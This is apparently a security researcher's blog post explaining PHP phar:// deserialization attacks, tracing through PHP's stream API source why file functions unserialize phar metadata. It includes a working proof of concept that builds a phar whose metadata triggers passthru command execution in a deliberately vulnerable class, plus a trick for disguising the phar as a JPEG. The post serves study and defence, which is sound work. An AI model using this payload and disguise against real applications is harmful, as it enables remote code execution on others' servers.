unserialize without unserialize()
Table of contents
The research community has been interested in deserialization vulnerabilities for more a decade now. Since Stefan Essar originally detailed the possibility of unserializing data controlled by attackers in PHP in 2009, the topic has gained widespread awareness. Thus, new attack chains emerge each year, utilising these flaws in programming languages such as Java and C#.
At Blackhat US-18, Sam Thomas introduced a new way to exploit these vulnerability in PHP.
Previouly, php://
wrapper has been used for LFI and XXE attack either by directly access the input stream such as php://input
or manipulate the value like php://filter/convert.base64-encode/resource=config.php
. Based on Sam Thomas paper, we can abuse phar://
stream wrapper when performing read/write/delete/rename operation on PHAR files to invoke deserialization. From here, it opens the door to POP (Property Oriented Programming) attacks, in which the attacker alters object properties to control the applicationβs logic flow, ultimately resulting in code execution.
In this blog, I assume that you all already know about basic php deserialization vulnerability. If not, Vickie Li and OWASP is a good start. If you want to follow along, you can download php source code prior to installed version on the system. Mine is php v7.4.33, so it will be https://github.com/php/php-src/releases/tag/php-7.4.33.
What is phar archives
Before dive into technical explaination, it is better for us to understand the concept of phar. What is Phar anyway?
So for simple distribution and installation, the phar extension provides capability to compile entire PHP aplications into a single file called a phar
(PHP archive). Hence, a phar archive offers a way to deliver a full PHP aplication in a single file and run it directly from that file without the requirements for file extraction. For more in-depth explanation on phar description from php, click this link.
Figure 1: Phar description
A valid phar archive have four sections, the last one is optional:
-
A pharβs stub is a simple PHP file. It must contain as a minimum, the
HALT_COMPILER();
at the end. For example,<?php echo "this is a stub";__HALT_COMPILER(); ?>
. Noted that there cannot be more than one space between semicolon;
and closing tag?>
. For example,__HALT_COMPILER(); ?>
.Method to set stub is:
Phar::setStub(stringΒ $stub)
Stub section can be useful to disguise as jpeg/png image file. Since the minimum is
__HALT_COMPILER();
, anything before it including gibberish character is considered valid. Lets inject image data to the stub.β― convert -size 32x32 xc:white empty.jpg # create a 32x32 image with a white background as jpeg β― convert -size 32x32 xc:transparent empty.png # create a 32x32 image with a transparent background as png β― xxd -p empty.jpg | tr -d '\n' | sed 's/\(..\)/\\x\1/g' # extract jpeg file in hex \xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x03\x03\x03\x04\x06\x04\x04\x04\x04\x04\x08\x06\x06\x05\x06\x09\x08\x0a\x0a\x09\x08\x09\x09\x0a\x0c\x0f\x0c\x0a\x0b\x0e\x0b\x09\x09\x0d\x11\x0d\x0e\x0f\x10\x10\x11\x10\x0a\x0c\x12\x13\x12\x10\x13\x0f\x10\x10\x10\xff\xc0\x00\x0b\x08\x00\x20\x00\x20\x01\x01\x11\x00\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x00\x3f\x00\xaa\x60\x00\x00\x00\x3f\xff\xd9
In php:
$jpeg_header = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x03\x03\x03\x04\x06\x04\x04\x04\x04\x04\x08\x06\x06\x05\x06\x09\x08\x0a\x0a\x09\x08\x09\x09\x0a\x0c\x0f\x0c\x0a\x0b\x0e\x0b\x09\x09\x0d\x11\x0d\x0e\x0f\x10\x10\x11\x10\x0a\x0c\x12\x13\x12\x10\x13\x0f\x10\x10\x10\xff\xc0\x00\x0b\x08\x00\x20\x00\x20\x01\x01\x11\x00\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x00\x3f\x00\xaa\x60\x00\x00\x00\x3f\xff\xd9"; $poc->setStub($jpeg_header . " __HALT_COMPILER();");
-
a manifest describing the contents
Manifest stores the essential details of what is contained in the phar archives. It consists of fixed length segments, in addition to pairs of length specifications followed by variable length segment. The most important thing is in basic file format of a phar archive manifest is there is a user-defined metadata and it must be in serialize format. This means the entry point for deserializing a phar archive is by manipulating manifest metadata.
Figure 2: Phar manifest structure
Method to set metadata is:
Phar::setMetadata(mixed $metadata)
-
Simply the original files that are included in the archive. To add file from the file system, use
Phar::addFile(string $filename)
. To add file from a string, usePhar::addFromString(string $localName, string $contents)
instead.Phar::addFile(string $filename); // add file from file system Phar::addFromString(string $localName, string $contents); // add file from a string
-
a signature for verifying phar integrity (file format only)
The signature of a phar is always added at the end of the phar archive, following by the loader, manifest, and file contents. The signature is added automatically when creating a phar programmatically.
Keep in mind that SHA1 is the default signature type for all executable phar archives. Pharβs signature can be set to different algorithm such as
Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, Phar::OPENSSL
. In order to set different signature algorithm, use this:Phar::setSignatureAlgorithm(int $algo, ?string $privateKey = null)
How to use phar archive
Here is the example of vulnerable php application. Basically, this application will receive input from the user and check if it exists or not.
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: index.php
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1 β <?php
2 β
3 β class VulnerableClass {
4 β public $fileName;
5 β public $callback;
6 β
7 β function __destruct() {
8 β call_user_func($this->callback, $this->fileName);
9 β }
10 β }
11 β
12 β $file = $argv[1];
13 β
14 β if(file_exists($file)) {
15 β echo "File is exists";
16 β }
Here is the example of creating phar archive.
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: create.php
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1 β <?php
2 β class VulnerableClass { }
3 β // Create a new instance of the Dummy class and modify its property
4 β $dummy = new VulnerableClass();
5 β $dummy->callback = "passthru";
6 β $dummy->fileName = "uname -a > pwned"; //our payload
7 β
8 β // Delete any existing PHAR archive with that name
9 β @unlink("poc.phar");
10 β
11 β // Create a new archive
12 β $poc = new Phar("poc.phar");
13 β
14 β // Add all write operations to a buffer, without modifying the archive on disk
15 β $poc->startBuffering();
16 β
17 β // Set the stub
18 β $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
19 β
20 β // Add a new file in the archive with "text" as its content
21 β $poc["file1"] = "text";
22 β $poc["file2"] = "another Text";
23 β // Add the dummy object to the metadata. This will be serialized
24 β $poc->setMetadata($dummy);
25 β
26 β // Stop buffering and write changes to disk
27 β $poc->stopBuffering();
28 β ?>
Then generate phar archive like so.
β― ls
create.php index.php
β― php --define phar.readonly=0 create.php
β― ls
create.php index.php poc.phar
Figure 3: Phar hexdump
Figure 3 shows the hex version of generated phar file from xxd
. As you can see on Figure 3, after generating phar archive, some of manifest content is in serialized format, which is what stated in the previous manifest metadata part. Now let run the index.php
vulnerable application.
β― ls
create.php index.php poc.phar
β― php index.php phar://./poc.phar
File is exists
β― ls
create.php index.php poc.phar pwned
β― cat pwned
Linux nightfury99-MS-XXXX x.xX.0-XX-generic #xx~xx.Xx.X-Ubuntu SMP PREEMPT_DYNAMIC XXX Apr 18 17:40:00 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
pwned
file was created after passing phar://./poc.phar
with phar://
stream wrapper to file_exists()
function. We already aware about serialized data on phar manifest, and it will deserialized the metadata whenever phar://
wrapper is used, but how?
How Phar can unserialize?
In Sam Thomas paper, he points out that
meta-data is unserialized when a Phar archive is first accessed by any(!) file operation. This opens the door to unserialization attacks whenever a file operation occurs on a path whose beginning is controlled by an attacker.
Based on php documentation, phar stream wrapper allow accessing files within a phar archieve using PHPβs standard file functions such as fopen(), readfile()
. In shorts, any PHPβs function that involves with filesystem functions can use phar stream wrapper. The majority of PHP filesystem functions will deserialize metadata when parsing phar file with phar://
stream wrapper. Seaii from Chuangyu 404 Lab conclude the affected function as follows:
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
One of the reason why phar metadata can be unserialize is because it called php_var_unserialize(...)
at ./ext/phar/phar.c
on line 621.
Figure 4: Phar metadata unserialize snippet code
Let investigate why only certain function can be use to invoke deserialization but first, let me introduce to you with stream API.
Stream API
A uniform approach to the processing of files and sockets in PHP extensions is introduced via the PHP Streams API. The Streams API aims to provide developers with an intuitive, uniform API that makes it easy for them to open files, URLs, and other streamable data sources. Streams use a php_stream*
parameter just as ANSI stdio (fread etc.) use a FILE*
parameter.
In most cases, you will use php_stream_open_wrapper( )
to obtain the stream handle. This function works very much like fopen( )
. php_stream_open_wrapper( )
and php_stream_open_wrapper_ex( )
almost the same thing, both call _php_stream_open_wrapper_ex
. The only difference is _php_stream_open_wrapper_ex( )
has extra parameter for context as can be seen from the php_streams.h
file below.
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: ./main/php_streams.h
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
567 β ......
568 β PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
569 β PHPAPI php_stream_wrapper *php_stream_locate_url_wrapper(const char *path, const char **path_for_open, int options);
570 β PHPAPI const char *php_stream_locate_eol(php_stream *stream, zend_string *buf);
571 β
572 β #define php_stream_open_wrapper(path, mode, options, opened) _php_stream_open_wrapper_ex((path), (mode), (options), (opened), NULL STREAMS_CC)
573 β #define php_stream_open_wrapper_ex(path, mode, options, opened, context) _php_stream_open_wrapper_ex((path), (mode), (options), (opened), (context) STREAMS_CC)
574 β ......
Example how to return stream from a function.
PHP_FUNCTION(example_open_php_home_page)
{
php_stream *stream;
stream = php_stream_open_wrapper("http://www.php.net", "rb", REPORT_ERRORS, NULL);
php_stream_to_zval(stream, return_value);
/* after this point, the stream is "owned" by the script.
If you close it now, you will crash PHP! */
}
The table below shows the Streams equivalents of the more common ANSI stdio functions.
ANSI Stdio Function | PHP Streams Function | Notes |
---|---|---|
fopen | php_stream_open_wrapper | Streams includes additional parameters |
fclose | php_stream_close | Β |
fgets | php_stream_gets | Β |
fread | php_stream_read | The nmemb parameter is assumed to have a value of 1, so the prototype looks more like read(2) |
fwrite | php_stream_write | The nmemb parameter is assumed to have a value of 1, so the prototype looks more like write(2) |
fseek | php_stream_seek | Β |
ftell | php_stream_tell | Β |
rewind | php_stream_rewind | Β |
feof | php_stream_eof | Β |
fgetc | php_stream_getc | Β |
fputc | php_stream_putc | Β |
fflush | php_stream_flush | Β |
puts | php_stream_puts | Same semantics as puts, NOT fputs |
fstat | php_stream_stat | Streams has a richer stat structure |
Lets take a php function like file_get_contents( )
and analyze. Imagine file_get_contents( )
is executed like this:
<?php
$file = file_get_contents("phar://poc.phar");
?>
As shown as below, file_get_contents
call php_stream_open_wrapper_ex
to open the provided file as a stream.
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: ./ext/standard/file.c
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
525 β PHP_FUNCTION(file_get_contents)
526 β {
553 β ......
554 β stream = php_stream_open_wrapper_ex(filename, "rb",
555 β (use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
556 β NULL, context);
557 β if (!stream) {
558 β RETURN_FALSE;
559 β }
560 β ......
Then _php_stream_open_wrapper_ex
call php_stream_locate_url_wrapper
to find provided wrapper.
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: ./main/streams/streams.c
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2078 β PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
2079 β zend_string **opened_path, php_stream_context *context STREAMS_DC)
2080 β {
2081 β ......
2112 β wrapper = php_stream_locate_url_wrapper(path, &path_to_open, options);
2113 β if (options & STREAM_USE_URL && (!wrapper || !wrapper->is_url)) {
2114 β php_error_docref(NULL, E_WARNING, "This function may only be used against URLs");
2115 β if (resolved_path) {
2116 β zend_string_release_ex(resolved_path, 0);
2117 β }
2118 β return NULL;
2119 β }
2120 β
2121 β if (wrapper) {
2122 β if (!wrapper->wops->stream_opener) {
2123 β php_stream_wrapper_log_error(wrapper, options ^ REPORT_ERRORS,
2124 β "wrapper does not support stream open");
2125 β } else {
2126 β stream = wrapper->wops->stream_opener(wrapper,
2127 β path_to_open, mode, options ^ REPORT_ERRORS,
2128 β opened_path, context STREAMS_REL_CC);
2129 β }
On line 2112, php try to find wrapper from provided path (in this case βphar://poc.pharβ) using php_stream_locate_url_wrapper
. We can use stream_get_wrappers
to see which wrappers are registered in the system.
php > var_dump(stream_get_wrappers());
array(11) {
[0] =>
string(5) "https"
[1] =>
string(4) "ftps"
[2] =>
string(13) "compress.zlib"
[3] =>
string(3) "php"
[4] =>
string(4) "file"
[5] =>
string(4) "glob"
[6] =>
string(4) "data"
[7] =>
string(4) "http"
[8] =>
string(3) "ftp"
[9] =>
string(4) "phar"
[10] =>
string(3) "zip"
}
There are 11 registered wrappers and phar is one of it. So, what functions can be achieved by registering a stream wrapper generally? Below is how stream wrapper defined its components.
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: ./main/php_streams.h
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
132 β typedef struct _php_stream_wrapper_ops {
133 β /* open/create a wrapped stream */
134 β php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
135 β int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
136 β /* close/destroy a wrapped stream */
137 β int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream);
138 β /* stat a wrapped stream */
139 β int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb);
140 β /* stat a URL */
141 β int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context);
142 β /* open a "directory" stream */
143 β php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
144 β int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
145 β
146 β const char *label;
147 β
148 β /* delete a file */
149 β int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
150 β
151 β /* rename a file */
152 β int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context);
153 β
154 β /* Create/Remove directory */
155 β int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context);
156 β int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
157 β /* Metadata handling */
158 β int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context);
159 β } php_stream_wrapper_ops;
Since we are using phar stream wrapper, let see how phar register its component.
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: ./ext/phar/stream.c
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
37 β const php_stream_wrapper_ops phar_stream_wops = {
38 β phar_wrapper_open_url,
39 β NULL, /* phar_wrapper_close */
40 β NULL, /* phar_wrapper_stat, */
41 β phar_wrapper_stat, /* stat_url */
42 β phar_wrapper_open_dir, /* opendir */
43 β "phar",
44 β phar_wrapper_unlink, /* unlink */
45 β phar_wrapper_rename, /* rename */
46 β phar_wrapper_mkdir, /* create directory */
47 β phar_wrapper_rmdir, /* remove directory */
48 β NULL
49 β };
Based on the struct defined at ./main/php_streams.h
and ./ext/phar/stream.c
, we found that phar stream wrapper support the following functions:
- open/create a URL
- stat URL
- open directory
- unlink a file
- rename a file
- create directory
- remove directory
After getting phar stream wrapper via php_stream_locate_url_wrapper
method, php then try to access stream_opener
method from wrapper object at ./main/streams/streams.c
on line 2126. Phar register stream_opener
as phar_wrapper_open_url
, thus, it will invoke phar_wrapper_open_url()
function. The whole chain will eventually call php_var_unserialize
. Figure 5 shows example for file_get_contents()
, rename()
, mkdir()
, and unlink()
functionβs call.
Figure 5: Overview
Hunting other functions
Knowing a few affected function is sufficient, right? Naturally, is is inadequate. To go farther, we must first determine its underlying premise. All of the files are considered to be usable and certain php extension already identified as vulnerable to deserialization such as:
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file/url
get_meta_tags
get_headers
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://poc.phar/poc');
Actually there are still many vulnerable functions(such as simplexml, postgres ext) but I leave it to you guys for digging. Now you already know the root cause for βphar deserializationβ and in terms of stream wrapper exploitation, this is merely a preliminary step(but still a good start).
References
- https://paper.seebug.org/680/
- https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability
- https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
- https://blog.zsxsoft.com/post/38